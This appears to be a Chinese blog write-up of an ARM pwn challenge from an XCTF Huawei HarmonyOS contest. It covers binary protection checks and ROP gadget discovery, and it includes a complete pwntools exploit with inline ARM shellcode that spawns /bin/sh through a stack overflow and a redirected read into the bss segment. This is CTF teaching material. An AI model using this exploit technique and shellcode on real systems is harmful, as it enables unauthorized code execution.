XCTF华为鸿蒙专场 ARM Pwn 初探

共 2286字,需浏览 5分钟

 ·

2021-06-27 06:17

作者:jambolt  编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    




elf分析
checksec检查二进制程序
root@jambolt-PC:/mnt/hgfs/D/pwn/arm_pwn/arm_pwnit#  checksec bin[*]  '/mnt/hgfs/D/pwn/arm_pwn/arm_pwnit/bin' Arch:      arm-32-little    RELRO:     Partial RELRO    Stack:     No canary found    NX:        NX enabled    PIE:     No PIE (0x10000)

未开canary保护可栈执行


ida分析
read读取字符串数量大于局部变量buf的长度会造成溢出
查看段RWX权限,查找拥有写权限的段进行shellcode的写入
ROPgadget检查 ROP利用链
root@jambolt-PC:/mnt/hgfs/D/pwn/arm_pwn/arm_pwnit# ROPgadget --binary ./bin --only "pop|ret" Gadgets information  ============================================================0x00010500 : pop {fp, pc}  0x00010348 : pop {r3, pc}  0x00010498 : pop {r4, pc}  
Unique gadgets found: 3

qemu联调
exp脚本
from pwnimport *context(arch = 'arm', os = 'linux', log_level = 'debug')p = process(["qemu-arm", "-g", "1234", "-L",    "/usr/arm-linux-gnueabihf/", "./bin"])shellcode = b '\x02\x20\x42\xe0\x1c\x30\x8f\xe2'shellcode += b '\x04\x30\x8d\xe5\x08\x20\x8d\xe5'shellcode += b '\x13\x02\xa0\xe1\x07\x20\xc3\xe5'shellcode += b '\x04\x30\x8f\xe2\x04\x10\x8d\xe2'shellcode += b '\x01\x20\xc3\xe5\x0b\x0b\x90\xef'shellcode += b '/bin/sh;'pop_r3_pc = 0x00010348data_addr = 0x00021030read_addr = 0x000104E8payload = b 'a' * 256 + p32(data_addr) + p32(pop_r3_pc) + p32(    data_addr) + p32(read_addr)p.sendafter("input: ", payload);sleep(0.1)p.sendline(p32(data_addr + 4) + shellcode)p.interactive()
gdb-multiarch 设置
file bin set architecture armb * 0x00010500b * 0x000104F0target remote localhost:1234
到达read执行前断点
R0,R1,R2 read函数传参
SP栈顶指针 R11 栈基指针
溢出前栈内分布情况
溢出后栈内分布
栈内数据分布情况

栈内数据为填充的A,以及16字节payload

劫持PC指针前

汇编语句 pop {fp, pc} 从栈顶弹出两个值分别赋值给fp指针和pc指针,pc指针是程序控制流,fp指针是framepointer,是r11栈基指针
next 进入下一步,PC指针以及被劫持,之后从栈顶弹出两个值赋值给 R3寄存器和 pc指针,即r3寄存器修改为0,程序流被劫持到0x104e8处继续运行
由于r3 已经被劫持,mov r1,r3 后,read函数的第二个参数,写入地址可控 r2始终没有改变为0x300,执行效果为read(0,shellcode_addr, 0x300),如下图

执行后的 bss段0x21030 写入shellcode

再之后劫持 pc到 bss写入了shellcode的位置 bss+4
shellcode内容

最后调用 syscall 获取shell



往期精彩文章




Spring Boot Actuator 未授权访问利用实战利用
记一次hw行动中的渗透测试
docker下安全问题总结
【题目讲解】hp-RE_hyperthreading




技术支持:白帽子社区团队
— 扫码关注我们 



浏览 78
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报